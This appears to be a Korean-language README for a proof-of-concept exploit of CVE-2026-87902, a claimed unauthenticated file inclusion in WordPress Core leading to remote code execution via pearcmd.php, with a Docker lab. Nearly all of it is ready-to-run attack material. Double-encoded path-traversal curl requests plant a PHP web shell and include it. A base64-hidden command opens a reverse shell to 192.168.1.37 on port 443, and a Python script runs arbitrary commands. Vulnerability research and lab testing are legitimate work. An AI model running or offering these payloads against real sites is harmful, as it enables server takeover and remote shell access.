
CVE-2026-87902에 대한 개념 증명 익스플로잇으로, pearcmd.php를 통해 RCE로 이어지는 인증되지 않은 WordPress Core LFI이며, Docker 랩과 curl/Python 익스플로잇 스크립트를 포함합니다.
WordPress Core <= 7.1.1 — 인증되지 않은 LFI (템플릿 로더 pagename) → pearcmd.php를 통한 RCE.
크레딧: https://github.com/ressl/cve-2026-87902-poc
cd docker && docker compose up -d
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=stripslashes($_REQUEST[_])?>+"
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn"
# Reverse Shell
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJw==|base64+-d|sh"
python3 exploit-pear.py http://127.0.0.1:18092 2 "id"